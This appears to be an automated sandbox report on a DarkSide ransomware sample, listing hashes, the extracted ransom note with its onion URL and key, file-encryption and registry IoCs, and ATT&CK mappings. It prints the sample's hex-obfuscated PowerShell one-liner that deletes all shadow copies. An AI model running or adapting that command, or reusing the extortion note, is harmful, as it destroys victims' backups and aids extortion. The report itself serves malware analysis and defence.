darkside | 2c7d10f64dc39ea9bd6f18d9d1e1204f0c62324e8da148354d557bba17e3c615

General

Target

mal.exe
Size

512KB
MD5

650d18a78f30302a1e10f664a0d2cb0a
SHA1

c318776aefbd0156de1e6f7bba216d87e27c6341
SHA256

2c7d10f64dc39ea9bd6f18d9d1e1204f0c62324e8da148354d557bba17e3c615
SHA512

cb209a8c381e99c8adf49a2ea1caa0732da0ad5891b7b244dcf8540d677a03b7e912b4e121c25440a5bbf855a112b8c0061f0974922154c6bdf11eb176bd3c57

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.5bede5a3.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4 When you open our website, put the following data in the input form: Key: lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 18 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

mal.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\InvokePush.tiff => C:\Users\Admin\Pictures\InvokePush.tiff.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\InvokePush.tiff.5bede5a3	mal.exe
File renamed	C:\Users\Admin\Pictures\SearchSync.tiff => C:\Users\Admin\Pictures\SearchSync.tiff.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\SyncClear.crw.5bede5a3	mal.exe
File renamed	C:\Users\Admin\Pictures\UnblockDeny.png => C:\Users\Admin\Pictures\UnblockDeny.png.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\UnblockDeny.png.5bede5a3	mal.exe
File renamed	C:\Users\Admin\Pictures\ConnectClose.tif => C:\Users\Admin\Pictures\ConnectClose.tif.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\ConnectClose.tif.5bede5a3	mal.exe
File renamed	C:\Users\Admin\Pictures\OutPublish.raw => C:\Users\Admin\Pictures\OutPublish.raw.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\OutPublish.raw.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\RestoreStop.png.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\SearchSync.tiff	mal.exe
File opened for modification	C:\Users\Admin\Pictures\SearchSync.tiff.5bede5a3	mal.exe
File renamed	C:\Users\Admin\Pictures\SyncClear.crw => C:\Users\Admin\Pictures\SyncClear.crw.5bede5a3	mal.exe
File renamed	C:\Users\Admin\Pictures\RestoreStop.png => C:\Users\Admin\Pictures\RestoreStop.png.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\SaveClear.tif.5bede5a3	mal.exe
File opened for modification	C:\Users\Admin\Pictures\InvokePush.tiff	mal.exe
File renamed	C:\Users\Admin\Pictures\SaveClear.tif => C:\Users\Admin\Pictures\SaveClear.tif.5bede5a3	mal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

mal.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5bede5a3.BMP"	mal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5bede5a3.BMP"	mal.exe

Modifies Control Panel 1 IoCs
evasion

Processes:

mal.exe

description ioc process

Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallpaperStyle = "10" mal.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallpaperStyle = "10"	mal.exe

Modifies registry class 5 IoCs

Processes:

mal.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3\ = "5bede5a3"	mal.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon	mal.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3	mal.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5bede5a3.ico"	mal.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3	mal.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exemal.exe

pid process

1152 powershell.exe
840 mal.exe
840 mal.exe

pid	process
1152	powershell.exe
840	mal.exe
840	mal.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

mal.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	840	mal.exe
Token: SeSecurityPrivilege	840	mal.exe
Token: SeTakeOwnershipPrivilege	840	mal.exe
Token: SeLoadDriverPrivilege	840	mal.exe
Token: SeSystemProfilePrivilege	840	mal.exe
Token: SeSystemtimePrivilege	840	mal.exe
Token: SeProfSingleProcessPrivilege	840	mal.exe
Token: SeIncBasePriorityPrivilege	840	mal.exe
Token: SeCreatePagefilePrivilege	840	mal.exe
Token: SeBackupPrivilege	840	mal.exe
Token: SeRestorePrivilege	840	mal.exe
Token: SeShutdownPrivilege	840	mal.exe
Token: SeDebugPrivilege	840	mal.exe
Token: SeSystemEnvironmentPrivilege	840	mal.exe
Token: SeRemoteShutdownPrivilege	840	mal.exe
Token: SeUndockPrivilege	840	mal.exe
Token: SeManageVolumePrivilege	840	mal.exe
Token: 33	840	mal.exe
Token: 34	840	mal.exe
Token: 35	840	mal.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeBackupPrivilege	2028	vssvc.exe
Token: SeRestorePrivilege	2028	vssvc.exe
Token: SeAuditPrivilege	2028	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

mal.exe

description	pid	process	target process
PID 840 wrote to memory of 1152	840	mal.exe	powershell.exe
PID 840 wrote to memory of 1152	840	mal.exe	powershell.exe
PID 840 wrote to memory of 1152	840	mal.exe	powershell.exe
PID 840 wrote to memory of 1152	840	mal.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\mal.exe
"C:\Users\Admin\AppData\Local\Temp\mal.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1152

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2028

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
dca47474df0cde618a6c40d9e950f745

SHA1
c903adc18447fec9b438e15b312f6b6b660562ac

SHA256
abb722e20aee9f5ef8820ed346b3c0d955c1520c73f8f62eed3130566a33f6f5

SHA512
927c8c12f3198c27a83682bd4835fffab486b1de19976d675d792d1f99cdd0b9a1de202b64e87d61faef6791238ac492dd0a8bfb731961173ac2b89b584666c5

Download Submit
memory/840-54-0x0000000000400000-0x000000000083B000-memory.dmp

Filesize
4.2MB

Download
memory/840-55-0x0000000000A10000-0x0000000000A34000-memory.dmp

Filesize
144KB

Download
memory/840-56-0x0000000000020000-0x0000000000030000-memory.dmp

Filesize
64KB

Download
memory/840-57-0x0000000076491000-0x0000000076493000-memory.dmp

Filesize
8KB

Download
memory/840-58-0x0000000000400000-0x000000000083B000-memory.dmp

Filesize
4.2MB

Download
memory/1152-59-0x000007FEFC451000-0x000007FEFC453000-memory.dmp

Filesize
8KB

Download
memory/1152-61-0x0000000002530000-0x0000000002532000-memory.dmp

Filesize
8KB

Download
memory/1152-62-0x0000000002532000-0x0000000002534000-memory.dmp

Filesize
8KB

Download
memory/1152-63-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/1152-60-0x000007FEF2E30000-0x000007FEF398D000-memory.dmp

Filesize
11.4MB

Download
memory/1152-64-0x000000000253B000-0x000000000255A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads